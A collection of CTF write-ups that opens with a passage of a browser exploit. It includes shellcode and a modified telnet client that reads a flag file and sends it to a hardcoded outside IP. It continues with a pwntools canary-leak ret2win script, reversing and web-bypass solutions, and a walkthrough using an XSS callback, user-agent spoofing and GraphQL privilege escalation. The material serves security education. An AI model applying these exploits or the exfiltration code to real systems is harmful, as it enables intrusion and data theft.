exploit = b'a'exploit += nop(0xa)exploit += b'\xac'exploit += asm('jmp $-0x1d')exploit += nop(4)exploit += asm('xor eax, eax', arch='i386')exploit += asm('mov al, 0x40', arch='i386')exploit += asm('shl eax, 0x10', arch='i386')exploit += asm('mov ax, 0x0101', arch='i386')exploit += asm('jmp eax', arch='i386')exploit += nop(0x20-len(exploit))print(exploit.hex())with open('exploit.htm', 'wb') as exploithtm: exploithtm.write(HEADER) exploithtm.write(tagger(exploit)) exploithtm.write(IMG)```
*payload.asm*
```assembly;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; Copyright (C) KolibriOS team 2010-2015. All rights reserved. ;;;; Distributed under terms of the GNU General Public License ;;;; ;;;; telnet.asm - Telnet client for KolibriOS ;;;; ;;;; Written by [email protected] ;;;; ;;;; GNU GENERAL PUBLIC LICENSE ;;;; Version 2, June 1991 ;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
format binary as ""
BUFFERSIZE = 4096
use32; standard header db 'MENUET01' ; signature dd 1 ; header version dd start ; entry point dd i_end ; initialized size dd mem+4096 ; required memory dd mem+4096 ; stack pointer dd hostname ; parameters dd 0 ; path
include 'macros.inc'purge mov,add,subinclude 'proc32.inc'include 'dll.inc'include 'network.inc'
; entry pointstart:; load libraries stdcall dll.Load, @IMPORT test eax, eax jnz exit; initialize console invoke con_start, 1 invoke con_init, 80, 25, 80, 25, title
; Check for parameters cmp byte[hostname], 0 jne resolve
main: invoke con_cls; Welcome user invoke con_write_asciiz, str1
prompt:; write prompt invoke con_write_asciiz, str2; read string (wait for input) mov esi, hostname invoke con_gets, esi, 256; check for exit test eax, eax jz done cmp byte[esi], 10 jz done
resolve: mov [sockaddr1.port], 23 shl 8 ; Port is in network byte order
; delete terminating newline from URL and parse port, if any. mov esi, hostname @@: lodsb cmp al, ':' je .do_port cmp al, 0x20 ja @r mov byte[esi-1], 0 jmp .done
.do_port: xor eax, eax xor ebx, ebx mov byte[esi-1], 0 .portloop: lodsb cmp al, ' ' jbe .port_done sub al, '0' jb hostname_error cmp al, 9 ja hostname_error lea ebx, [ebx*4+ebx] shl ebx, 1 add ebx, eax jmp .portloop
.port_done: xchg bl, bh mov [sockaddr1.port], bx
.done:
; resolve name push esp ; reserve stack place invoke getaddrinfo, hostname, 0, 0, esp pop esi; test for error test eax, eax jnz dns_error
invoke con_cls invoke con_write_asciiz, str3 invoke con_write_asciiz, hostname
; write results invoke con_write_asciiz, str8
; convert IP address to decimal notation mov eax, [esi+addrinfo.ai_addr] mov eax, [eax+sockaddr_in.sin_addr] mov [sockaddr1.ip], eax invoke inet_ntoa, eax; write result invoke con_write_asciiz, eax; free allocated memory invoke freeaddrinfo, esi
invoke con_write_asciiz, str9
mcall socket, AF_INET4, SOCK_STREAM, 0 cmp eax, -1 jz socket_err mov [socketnum], eax
mcall connect, [socketnum], sockaddr1, 18 test eax, eax jnz socket_err
mcall 40, EVM_STACK invoke con_cls
mcall 18, 7 push eax mcall 51, 1, thread, mem - 2048 pop ecx mcall 18, 3
mainloop: invoke con_get_flags test eax, 0x200 ; con window closed? jnz exit
mcall recv, [socketnum], buffer_ptr, BUFFERSIZE, 0 cmp eax, -1 je closed
mov esi, buffer_ptr lea edi, [esi+eax] mov byte[edi], 0 .scan_cmd: cmp byte[esi], 0xff ; Interpret As Command jne .no_cmd; TODO: parse options; for now, we will reply with 'WONT' to everything mov byte[esi+1], 252 ; WONT add esi, 3 ; a command is always 3 bytes jmp .scan_cmd .no_cmd:
cmp esi, buffer_ptr je .print
push esi edi sub esi, buffer_ptr mcall send, [socketnum], buffer_ptr, , 0 pop edi esi
.print: cmp esi, edi jae mainloop
invoke con_write_asciiz, esi
.loop: lodsb test al, al jz .print jmp .loop
socket_err: invoke con_write_asciiz, str6 jmp prompt
dns_error: invoke con_write_asciiz, str5 jmp prompt
hostname_error: invoke con_write_asciiz, str11 jmp prompt
closed: invoke con_write_asciiz, str12 jmp prompt
done: invoke con_exit, 1exit:
mcall close, [socketnum] mcall -1
thread: mcall 40, 0
; read flag file mcall 68, 12, 32768 test eax, eax jz .error mov [file_struct.buf], eax mov [clipboard_data], eax mcall 70, file_struct cmp eax, 6 jne .error mov [clipboard_data_length], ebx mov eax, [clipboard_data]
jmp .loop
.error: mov ecx, 0xc mov esi, file_error mov edi, clipboard_data rep movsb
.loop: ; invoke con_getch2 mov ebx, [counter] mov esi, [clipboard_data] add esi, ebx add ebx, 2 mov [counter], ebx mov ax, [esi] mov [send_data], ax xor esi, esi inc esi test al, al jz done inc esi @@: mcall send, [socketnum], send_data
invoke con_get_flags jmp .loop
; datatitle db 'Telnet',0str1 db 'Telnet for KolibriOS',10,10,\ 'Please enter URL of telnet server (host:port)',10,10,\ 'fun stuff:',10,\ 'telehack.com - arpanet simulator',10,\ 'towel.blinkenlights.nl - ASCII Star Wars',10,\ 'nyancat.dakko.us - Nyan cat',10,10,0str2 db '> ',0str3 db 'Connecting to ',0str4 db 10,0str8 db ' (',0str9 db ')',10,0
str5 db 'Name resolution failed.',10,10,0str6 db 'Could not open socket.',10,10,0str11 db 'Invalid hostname.',10,10,0str12 db 10,'Remote host closed the connection.',10,10,0
; 146.70.116.152:54963sockaddr1: dw AF_INET4.port dw 0.ip dd 0 ; 146.70.116.152 rb 10
align 4@IMPORT:
library network, 'network.obj', console, 'console.obj'import network, \ getaddrinfo, 'getaddrinfo', \ freeaddrinfo, 'freeaddrinfo', \ inet_ntoa, 'inet_ntoa'import console, \ con_start, 'START', \ con_init, 'con_init', \ con_write_asciiz, 'con_write_asciiz', \ con_exit, 'con_exit', \ con_gets, 'con_gets',\ con_cls, 'con_cls',\ con_getch2, 'con_getch2',\ con_set_cursor_pos, 'con_set_cursor_pos',\ con_write_string, 'con_write_string',\ con_get_flags, 'con_get_flags'
i_end:
socketnum dd ?buffer_ptr rb BUFFERSIZE+1file_error db 'Error with file', 0xa, 0, 0file_done db 'File loaded', 0xa, 0, 0
; file to extractparam db '/hd0/1/flag.txt', 0send_data dw ?counter dd 0identifier dd 0clipboard_data dd 0clipboard_data_length dd 0send_ptr dd ?
; extraction URL IP:PORThostname db '91.92.116.5:42069', 0
file_struct: dd 0 ; read file dd 0 ; offset dd 0 ; reserved dd 32768 ; max file size .buf dd 0 ; buffer ptr db 0 dd param
mem:```
Flag: `hxp{wHy_h4cK_Chr0m3_wh3n_y0u_c4n_hAcK_BROWSER}` |
# LACTF 2023
## aplet123
> bliutech: Can we get ApletGPT?> me: No we have ApletGPT at home.> ApletGPT at home:> > Author: kaiphait> > [`Dockerfile`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/pwn/Dockerfile)> [`aplet123.c`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/pwn/aplet123.c)> [`aplet123`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/pwn/aplet123)
Tags: _pwn_
## SolutionAs this is a pwn challenge, first of all, lets see what security measurements are given for the challenge binary.
```bash$ checksec ./aplet123[*] '/home/ctf/aplet123' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
Keeping this in mind, we check out the source code. The main is small and there is a `print_flag` function, that is never called. This must be a [`ret2win`](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) challenge. We also have a buffer overflow, as `gets(input)` is basically unbounded. But since [`stack canaries`](https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stacks_that_grow_up) are active, we cannot simply overflow and rewrite the return address.
```cvoid print_flag(void) { char flag[256]; FILE *flag_file = fopen("flag.txt", "r"); fgets(flag, sizeof flag, flag_file); puts(flag);}
// ...
int main(void) { setbuf(stdout, NULL); srand(time(NULL)); char input[64]; puts("hello"); while (1) { gets(input); char *s = strstr(input, "i'm"); if (s) { printf("hi %s, i'm aplet123\n", s + 4); } else if (strcmp(input, "please give me the flag") == 0) { puts("i'll consider it"); sleep(5); puts("no"); } else if (strcmp(input, "bye") == 0) { puts("bye"); break; } else { puts(responses[rand() % (sizeof responses / sizeof responses[0])]); } }}```
Meaning, we need to leak the canary somehow. And thankfully we just have the tool: the program has some logic to `greet the user`, if the user input contains `i'm` the program sets the pointer to the position where `i'm` was found plus 4 (assuming there is a space before the user name starts). This of course has all kinds of issues, there must not be a space or the user could omit the name alltogether.
But for us it's a good thing, since we can leak the canary this way. How you might ask? Lets have a look how the stack is layed out here.
```higher addresses^.. RBP+08 Return AddressRBP -> Saved RBP RBP-08 local_10 RBP-80 local_58 RBP-88 local_60RSP -> RBP-96..vlower addresses```
We want to override the return address at `rbp+8`. The cookie is located at `rbp-8` (`local_10`) and our user input goes to `local_58` at `rbp-80`. From this we know our buffer is `72 bytes` in size. If we align our `i'm` to be at the end of our buffer, then `printf("hi %s, i'm aplet123\n", s + 4);` would just print the stack cookie for us, since the increment by 4 will point just after our buffer ends.
With the canary saved we are finally able to overflow the buffer and rewrite the return address with keeping the canary intact. The only thing left then is to cause the program to end itself, this can be done by just sending `bye`.
```pythonfrom pwn import *
#p = process("./aplet123")p = remote("chall.lac.tf", 31123)binary = ELF("./aplet123")
buffer_size = 72
# send greeting marker aligned to end of buffer to trigger canary leakp.sendline(flat({buffer_size-3: b"i'm"}))
# read leaked canaryp.recvuntil(b"hi ")canary = p.recv(7)canary = int.from_bytes(b"\0" + canary, 'little')print("canary found:", hex(canary))
# now we overflow the buffer to override the return address# taking care the canary stays intactpayload = flat({ buffer_size : p64(canary), buffer_size + 8 : p64(0), buffer_size + 16: p64(binary.sym.print_flag)})p.sendline(payload)
# exit the program now to let it jump back to 'print_flag'p.sendline(b"bye")
p.recvuntil(b"bye")
print("found flag: ", p.recvall().decode())```
Flag `lactf{so_untrue_ei2p1wfwh9np2gg6}` |
# LACTF 2023
## flag-finder
> Speak with the almighty flag. Perhaps if you find an item it likes, it will be willing to share some of its knowledge? I'm sure it's in the room somewhere... Note: Enter the flag using all lowercase. M1/M2 Macs must use Rosetta.> > Author: oh worm>
Tags: _rev_
## SolutionAfter extracting the archive we find three files. One called `data.win`, an executable and a `options.ini`. This looks like a game, from here we need to know if a commonly known `Game Engine` or `Game SDK` was used to create this. Running `strings` on the executable brings results that suggest the engine used was `GameMaker`.
```bashD:\a\GameMaker\GameMaker\GameMaker\Runner\VC_Runner\x64\Release-Zeus\Runner.pdb```
For GameMaker [`UndertaleModTool`](https://github.com/krzys-h/UndertaleModTool) can be used. This allows us to basically inspect the whole game. Looking at the `rooms` we can see the game workd and inside a pretty obvious `flag`.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/flag_finder/world.png)
Inspecting the flag object definition, we find the flag inherits from `obj_par_npc`. NPCs have a set of properties they are initialized with, one is a `myState` that is set to `0`.
```javascriptevent_inherited()loopRange01 = 30loopRange02 = 240myText = "Why, hello there!"myItem = -4itemTextHappy = "Text for the right item."itemTextSad = "Text for the wrong item."itemTextDone = "Thank you text."sequenceHappy = -4sequenceSad = -4myState = (0 << 0)doneSprite = -4```
The flag overrides some of the properties.
```javascriptevent_inherited()myText = "You want the flag? Find me the key. I'm sure it's somewhere in this room..."myItem = 20itemTextHappy = "Oh sweet, that's exactly what I was looking for!"itemTextSad = "Wrong item... smh"itemTextDone = "Thanks again :D"```
Also the flag bind code to a `DrawGUI` event. The code generates a sprite with drawing a bunch of lines to it. This is only done if `myState` has the value `1`. But we remember that `myState` was initialized to value `0`.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/flag_finder/draw.png)
```javascriptswitch myState{ case (1 << 0): draw_sprite_ext(spr_gui_textbox, 1, 540, 40, 2.5, 0.29999999999999999, 0, c_white, 1) self.draw_sprite_line(60, 1, 20, 20, 20, 60) self.draw_sprite_line(60, 1, 20, 55, 60, 55) self.draw_sprite_line(60, 1, 70, 20, 70, 60) self.draw_sprite_line(60, 1, 70, 20, 105, 20) self.draw_sprite_line(60, 1, 105, 20, 105, 60) self.draw_sprite_line(60, 1, 70, 35, 105, 35) self.draw_sprite_line(60, 1, 115, 20, 115, 60) self.draw_sprite_line(60, 1, 115, 20, 160, 20) self.draw_sprite_line(60, 1, 115, 55, 160, 55) self.draw_sprite_line(60, 1, 170, 20, 210, 20) self.draw_sprite_line(60, 1, 190, 20, 190, 60) self.draw_sprite_line(60, 1, 220, 20, 220, 60) self.draw_sprite_line(60, 1, 220, 20, 260, 20) self.draw_sprite_line(60, 1, 220, 35, 250, 35) self.draw_sprite_line(60, 1, 275, 20, 285, 20) self.draw_sprite_line(60, 1, 275, 20, 275, 35) self.draw_sprite_line(60, 1, 275, 35, 270, 45) self.draw_sprite_line(60, 1, 270, 45, 275, 55) self.draw_sprite_line(60, 1, 275, 55, 275, 70) self.draw_sprite_line(60, 1, 275, 65, 285, 65) self.draw_sprite_line(60, 1, 295, 20, 295, 60) self.draw_sprite_line(60, 1, 295, 40, 325, 60) self.draw_sprite_line(60, 1, 295, 40, 325, 20) self.draw_sprite_line(60, 1, 335, 20, 375, 20) self.draw_sprite_line(60, 1, 335, 35, 375, 35) self.draw_sprite_line(60, 1, 335, 55, 375, 55) self.draw_sprite_line(60, 1, 375, 20, 375, 55) self.draw_sprite_line(60, 1, 385, 20, 415, 35) self.draw_sprite_line(60, 1, 415, 35, 445, 20) self.draw_sprite_line(60, 1, 415, 35, 415, 60) self.draw_sprite_line(60, 1, 455, 60, 500, 60) self.draw_sprite_line(60, 1, 510, 20, 550, 20) self.draw_sprite_line(60, 1, 530, 20, 530, 60) self.draw_sprite_line(60, 1, 560, 20, 600, 20) self.draw_sprite_line(60, 1, 560, 55, 600, 55) self.draw_sprite_line(60, 1, 560, 20, 560, 55) self.draw_sprite_line(60, 1, 600, 20, 600, 55) self.draw_sprite_line(60, 1, 610, 60, 650, 60) self.draw_sprite_line(60, 1, 660, 20, 660, 60) self.draw_sprite_line(60, 1, 660, 20, 690, 35) self.draw_sprite_line(60, 1, 685, 35, 715, 20) self.draw_sprite_line(60, 1, 715, 20, 715, 60) self.draw_sprite_line(60, 1, 725, 20, 755, 35) self.draw_sprite_line(60, 1, 755, 35, 775, 20) self.draw_sprite_line(60, 1, 755, 35, 755, 60) self.draw_sprite_line(60, 1, 765, 60, 800, 60) self.draw_sprite_line(60, 1, 810, 20, 810, 60) self.draw_sprite_line(60, 1, 810, 35, 860, 35) self.draw_sprite_line(60, 1, 860, 20, 860, 60) self.draw_sprite_line(60, 1, 870, 20, 910, 20) self.draw_sprite_line(60, 1, 870, 35, 910, 35) self.draw_sprite_line(60, 1, 870, 55, 910, 55) self.draw_sprite_line(60, 1, 910, 20, 910, 55) self.draw_sprite_line(60, 1, 920, 35, 965, 35) self.draw_sprite_line(60, 1, 920, 35, 960, 20) self.draw_sprite_line(60, 1, 960, 20, 960, 60) self.draw_sprite_line(60, 1, 975, 20, 975, 60) self.draw_sprite_line(60, 1, 975, 20, 1020, 20) self.draw_sprite_line(60, 1, 1015, 20, 1015, 35) self.draw_sprite_line(60, 1, 975, 35, 1020, 35) self.draw_sprite_line(60, 1, 980, 35, 1020, 60) self.draw_sprite_line(60, 1, 1030, 20, 1070, 20) self.draw_sprite_line(60, 1, 1050, 20, 1050, 60) self.draw_sprite_line(60, 1, 1080, 20, 1095, 20) self.draw_sprite_line(60, 1, 1095, 20, 1095, 35) self.draw_sprite_line(60, 1, 1095, 35, 1100, 45) self.draw_sprite_line(60, 1, 1100, 45, 1095, 55) self.draw_sprite_line(60, 1, 1095, 55, 1095, 70) self.draw_sprite_line(60, 1, 1095, 70, 1080, 70) break}```
Well, that can be chanced quickly by adapting the initialization code for the flag.
```javascript event_inherited()myText = "You want the flag? Find me the key. I'm sure it's somewhere in this room..."myItem = 20itemTextHappy = "Oh sweet, that's exactly what I was looking for!"itemTextSad = "Wrong item... smh"itemTextDone = "Thanks again :D"myState = 1```
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/flag_finder/flag.png)
Another method could be to just extract the draw code. Its fairly simple and can be done easily.
```pythonfrom PIL import Image, ImageDrawfrom lines import l #l being an array of the points extracted before
im = Image.new('RGB', (2000, 100))
draw = ImageDraw.Draw(im)
for i in range(0, len(l), 4): x0 = l[i] y0 = l[i+1] x1 = l[i+2] y1 = l[i+3] draw.line((x0,y0, x1,y1))
im.save('test.png')```
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/flag_finder/flag1.png)
Flag `lactf{k3y_to_my_h34rt}` |
# LACTF 2023
## aplet321
> Unlike Aplet123, Aplet321 might give you the flag if you beg him enough.> > Author: kaiphait> > [`Dockerfile`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/aplet321/Dockerfile)> [`aplet321`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/aplet321/aplet321)
Tags: _rev_
## SolutionOpening the given binary in `Ghidra` gives the following small `main` function.
```c++undefined8 main(void){ int iVar1; size_t sVar2; char *pcVar3; int iVar4; int iVar5; char local_238; char acStack_237 [519]; setbuf(stdout,(char *)0x0); puts("hi, i\'m aplet321. how can i help?"); fgets(&local_238,0x200,stdin); sVar2 = strlen(&local_238); if (5 < sVar2) { iVar4 = 0; iVar5 = 0; pcVar3 = &local_238; do { iVar1 = strncmp(pcVar3,"pretty",6); iVar5 = iVar5 + (uint)(iVar1 == 0); iVar1 = strncmp(pcVar3,"please",6); iVar4 = iVar4 + (uint)(iVar1 == 0); pcVar3 = pcVar3 + 1; } while (pcVar3 != acStack_237 + ((int)sVar2 - 6)); if (iVar4 != 0) { pcVar3 = strstr(&local_238,"flag"); if (pcVar3 == (char *)0x0) { puts("sorry, i didn\'t understand what you mean"); return 0; } if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) { puts("ok here\'s your flag"); system("cat flag.txt"); return 0; } puts("sorry, i\'m not allowed to do that"); return 0; } } puts("so rude"); return 0;}```
Here the user is prompted to input a string. Then there's some processing and two integer values are computed.
```c++do { iVar1 = strncmp(pcVar3,"pretty",6); iVar5 = iVar5 + (uint)(iVar1 == 0); iVar1 = strncmp(pcVar3,"please",6); iVar4 = iVar4 + (uint)(iVar1 == 0); pcVar3 = pcVar3 + 1; } while (pcVar3 != acStack_237 + ((int)sVar2 - 6));```
This basically scans the user input for the number of `pretty` and `please` occurrences within the string. If at least one `please` is present the program checks if the substring `flag` is also given. In any other case error messages are printed.
```c++if (iVar4 != 0) { pcVar3 = strstr(&local_238,"flag"); if (pcVar3 == (char *)0x0) { puts("sorry, i didn\'t understand what you mean"); return 0; }// ...```
The next part is the interesting part, here `flag.txt` is read by the server and printed to us. The condition that needs to be fulfilled is `iVar5 + iVar4 == 54` and `iVar5 - iVar4 == -24`. Now iVar5 is the number of `pretty` occurrences and iVar4 is the number of `please` occurrences.
```c++if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) { puts("ok here\'s your flag"); system("cat flag.txt"); return 0; }```
Its easy to see that we need `15` times pretty and `39` times please (`15+39 = 54`, `15-39=-24`). With this, we can quickly generate a fitting input string to get the flag.
```bash$ python -c "print('pretty'*15+'please'*39+'flag')" | nc chall.lac.tf 31321hi, i'm aplet321. how can i help?ok here's your flaglactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}```
Flag `lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}` |
# LACTF 2023
## flaglang
> Do you speak the language of the flags?> > Author: r2uwu2> > [`flaglang.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/web/flaglang/laglang.zip)
Tags: _web_
## SolutionFor this challenge we get a simple web-app with source. With the app we can view country flags and see what `Hello World` says in the chosen country language. Inspecting the source we find a list of country definitions in `countries.yaml`. The interesting part is, that there is a country called `Flagistan` that has the flag in it's message. To view the countries an endpoint exists called `/view`.
```yamlFlagistan: iso: FL msg: "<REDACTED>" password: "<REDACTED>" deny: ["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT" ...```
```javascriptapp.get('/view', (req, res) => { if (!req.query.country) { res.status(400).json({ err: 'please give a country' }); return; } if (!countries.has(req.query.country)) { res.status(400).json({ err: 'please give a valid country' }); return; } const country = countryData[req.query.country]; const userISO = req.signedCookies.iso; if (country.deny.includes(userISO)) { res.status(400).json({ err: `${req.query.country} has an embargo on your country` }); return; } res.status(200).json({ msg: country.msg, iso: country.iso });});```
The interesting bit is that a country can have a `deny list` of other countries being able to see the flag and message. This information is stored in a (signed) cookie. Since we don't know the password we can just delete the cookie and request the country flag again, giving us the flag.
Flag `lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}` |
# E-CORP CTF - 1337UP LIVE CTF 2023 - Intigrity
The following is the “intended solution” for my (Dominick Vale) CTF challenge.
## IntroWe got some hints from the ctf description:1. **Hint 1:** The dashboard is on the clearnet. They probably don't want it to be indexed by search engines though. First thing that comes to mind is the robots meta and robots.txt2. **Hint 2:** They are migrating back-end architecture, which if done hastly, is recipe for bugs and forgotten endpoints that might circumvent new protections or business logic.
## Finding the DashboardAs mentioned, one of the ways to check for hidden paths without having to start using crawlers is to just check the robots.txt.In this case, we find an ugly sight.
![robots.txt](https://raw.githubusercontent.com/DominickVale/ecorp-ctf-challenge/master/images/robots.png)
The file is filled with seemingly random paths, probably in an attempt to conceal the actual dashboard. But of course, that is futile.There are many ways to check which ones of those paths work and which don't. Let's take the most obvious choices, the ones that start with c2, dashboard or contain "login".We can first try a couple of them manually. /c2, /dashboard and /login all give 404.Given that we can test for the 404, let's try writing a quick script to weed out the 404s```python#!/bin/env python3
import urllib.requestfrom urllib.parse import urljoin
def extract_paths(base_url): robots_url = urljoin(base_url, 'robots.txt') try: with urllib.request.urlopen(robots_url) as response: robots_txt = response.read().decode('utf-8') paths = [line.split(': ', 1)[1].strip() for line in robots_txt.splitlines() if line.startswith('Disallow')] return paths except urllib.error.HTTPError as e: print(f"Error retrieving robots.txt: {e}") return []
def test_paths(base_url, paths): for path in paths: full_url = urljoin(base_url, path) try: with urllib.request.urlopen(full_url) as response: if response.getcode() != 404: print(f"Non-404 response for path: {full_url}") except urllib.error.HTTPError as e: if e.code != 404: print(f"Error for path {full_url}: {e}")
if __name__ == "__main__": base_url = "https://ecorp.ctf.intigriti.io/" paths = extract_paths(base_url) test_paths(base_url, paths)```
All the results seem to start with /c2/panel. This is probably the base path for the dashboard.Trying to access the page will result in a "Unrecognized device" error. We need to find out what is the correct device.Let's go check out the other pages and see what we can find out.
## Sensitive informationI like cats. So, when going on the blog section i immediately go read the one about felines. The author seems sweet, but she has written way too much information about her.Reading through the whole blog post we can see that:1. She is a female.2. She is obsessed by cats.3. She works as sales.This is useful information for an attacker in a social engineering scenario for sure, but it will also be for us in this case.
## Spoofing the user agentThe staff team most likely will use their neurotap to read their messages / emails. Let's try to check for XSS on the contact-us form.Let's set up a simple webserver and tunnel with ngrok.```python#!/usr/bin/env python3
import http.server as SimpleHTTPServerimport socketserver as SocketServerimport logging
PORT = 3333
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): logging.error(self.headers) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
Handler = GetHandlerhttpd = SocketServer.TCPServer(("", PORT), Handler)
print("serving on port", PORT)httpd.serve_forever()```
We'll be sending the following payload:```html<body></body>```We won't be able to see the console.log but you never know.We know that the cat lady is working as Sales. In a real scenario we would lure her into clicking on something cat related. Here, we can omit that and just send the payload as it is.
This is what we get:```ERROR:root:Host: 1c4c-77-32-33-199.ngrok-free.appUser-Agent: NEUROTAP-v0.2-BEG!---32FM19790306873AEB!---Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, brSec-Fetch-Dest: imageSec-Fetch-Mode: no-corsSec-Fetch-Site: cross-siteX-Forwarded-For: 35.233.50.225X-Forwarded-Host: 1c4c-77-32-33-199.ngrok-free.appX-Forwarded-Proto: https
127.0.0.1 - - [19/Nov/2023 15:27:45] code 404, message File not found127.0.0.1 - - [19/Nov/2023 15:27:45] "GET /image.jpg HTTP/1.1" 404 -```
## Spoofing User AgentThat user-agent looks like our key. Let's use it. On chrome i'd use the Network Conditions tab. On firefox i just use [this extension.](https://add0n.com/useragent-switcher.html).
Going back to /c2/panel, we are greeted with what seems to be a login page. Of course we don't have a neurotap on us, so we won't be logging in as they want us to.
Let's start checking out which requests are sent when the page is first loaded.We have a post request to api/graphql. Hmmmm this gives me a hunch that they might be using graphql, not sure.This is the request body:```json{"query":"\n query gsu($id: String!) {\n getStaffUser(id: $id) {\n id\n level\n securityQuestion\n username\n }\n }\n","variables":{"id":"32FM19790306873AEB"},"operationName":"gsu"}```and this is the response:```json{"data":{"getStaffUser":{"id":"32FM19790306873AEB,"level":1,"securityQuestion":"What is your favorite animal?","username":"Marilie_Ruecker"}}}```
Yeah, i think they are using graphql.Let's check out the source code and see what we can find.
![source code](https://raw.githubusercontent.com/DominickVale/ecorp-ctf-challenge/master/images/source1.png)
They seem to be using nextjs in a production build, which means that the source is going to be split into many chunks. Let's start with the one that looks it might be the most useful: _next/static/chunks/app/(c2)/c2/panel/login/page-(uuid).js and pretty-print it.
Right away we can find all the graphql mutations and queries. That was easy. Let's keep scrolling and see if there's anything else interesting.```ts(0, r.jsx) ( p.Z, { className: 'fixed left-12 top-6 max-w-[5rem]', theme: 'light', size: 'sm', onClick: () => { let e = prompt('Enter password') || '', t = (0, j.W) (window.navigator.userAgent); d.mutate({ p: e, i: t }), n.push('/c2/panel/dashboard') }, children: 'TEST LOGIN' } ),```Looks like there's some debug code in here. Apparently once logged in, we should check out /c2/panel/dashboard.```ts2490: function (e, t, n) { 'use strict'; function extractIdFromUserAgent(e) { let t = new RegExp(/^NEUROTAP-v0\.2-BEG!---(.*\d+.*)!---$/), n = t.exec(e); return n ? n[1] : e } n.d(t, { W: function () { return extractIdFromUserAgent } }), n(553)```Looks like the ID is going to be whatever is between the --- in the user agent.Let's try out the login mutation and see what happens. We could use InQL on Burp Suite, but for this challenge we can just use the Edit & Resend functionality in the firefox network dev tools.Since i'm lazy, i'm going to just reuse the initial graphql request that is sent when the page is loaded:```json{"query":"\n query gsu($id: String!) {\n getStaffUser(id: $id) {\n id\n level\n securityQuestion\n username\n }\n }\n","variables":{"id":"32FM19790306873AEB"},"operationName":"gsu"}```I'm going to change it to the oldLogin mutation we found, replacing the variable `id` with `i` and the operation name from `gsu` to `l`.Considering that this person really likes cats and the question is "Which is your favorite animal", we can make educated guesses and try either "cat" or "cats".```json{"query":"\n mutation l($p: String!, $i: String!) {\n oldLogin(p: $p, i: $i) {\n id\n }\n }\n","variables":{"i":"32FM19790306873AEB", "p": "cat"},"operationName":"l"}```Here's what we get:``` { "message": "Cannot query field \"oldLogin\" on type \"Mutation\". Did you mean \"c2Login\"?", "locations": [ { "line": 3, "column": 9 } ], "extensions": { "code": "GRAPHQL_VALIDATION_FAILED" } }}```They seem to have forgot to disable error suggestions. Great. Well, i guess we're going to try c2Login instead of oldLogin.We get a response with the victim data in it, but most importantly, the cookie to log in.set-cookie: t=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIzMkZNTk3OTAzMDY4NzNBRUIiLCJsZXZlbCI6MSwiaWIjoxNzAwNDY3ODA5LCJleHAiOjE3MDA0NzE0MDl9.XIqu9_rGMmKhwqwtoKA_C8HFmb50CiRlIA13PAE; Max-Age=3600000; Path=/;
## Accessing the Dashboard
Once set the cookie, we can finally access the c2 panel by going to the /c2/panel/dashboard page.It looks like it is heavily WIP like most of their stuff. We don't seem to be able to input anything. There is an interesting piece of information in the News panel. It says: "Level 0 panel is WIP with ETA Q4"...Considering that our access level seems to be 1, the level 0 could be higher privilege. There is also not much else to look for anyway.
## Escalating privilegeWe can again inspect the source code and the network tab.Again, let's start with the most relevant chunk: _next/static/chunks/app/(c2)/c2/panel/dashboard/page-(uuid).js and pretty-print it.In the source code, searching for "level" shows us that it is indeed being used for some checks, most notably:```ts [ C, S ] = (0, l.useState) ( ( null == r ? void 0 : null === (t = r.getStaffUser) || void 0 === t ? void 0 : t.level ) === 0 ), //... [ z, G ] = (0, l.useState) (!1), panic = async() => { try { let e = await fetch( '/api/v1/dev/panic', { method: 'POST', credentials: 'same-origin', mode: 'same-origin', cache: 'no-cache', referrerPolicy: 'origin', headers: { 'Content-Type': 'application/json', Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin' } } ), t = await e.json(); t.length > 1 && G(!0) } catch (e) { console.log(e) } }; //... C && (0, a.jsx) ( SymmetricPanel, { title: 'GLOBAL ADMIN PANEL (WIP)', className: 'mb-8 h-auto w-max px-3 pb-4', children: (0, a.jsxs) ( 'div', { // ... and finally let e = (0, a._) ( ['\n mutation s($i: String!, $l: Int!) {\n _devSetLevel(i: $i, l: $l) {\n id\n level\n username\n }\n }\n'] );```
So, the first piece of code seems to be a useState. It seems to be checking for the `level` property on the r.getStaffUser property.The minified code is very hard to understand, but one thing is for sure, we know from the [react docs](https://react.dev/reference/react/useState) that useState returns an array containing a value and a setter.```tsconst [state, setState] = useState(initialState);```So, state in this case is going to be the variable C. And look at that, it's used as a condition right before the 'GLOBAL ADMIN PANEL(WIP)'.
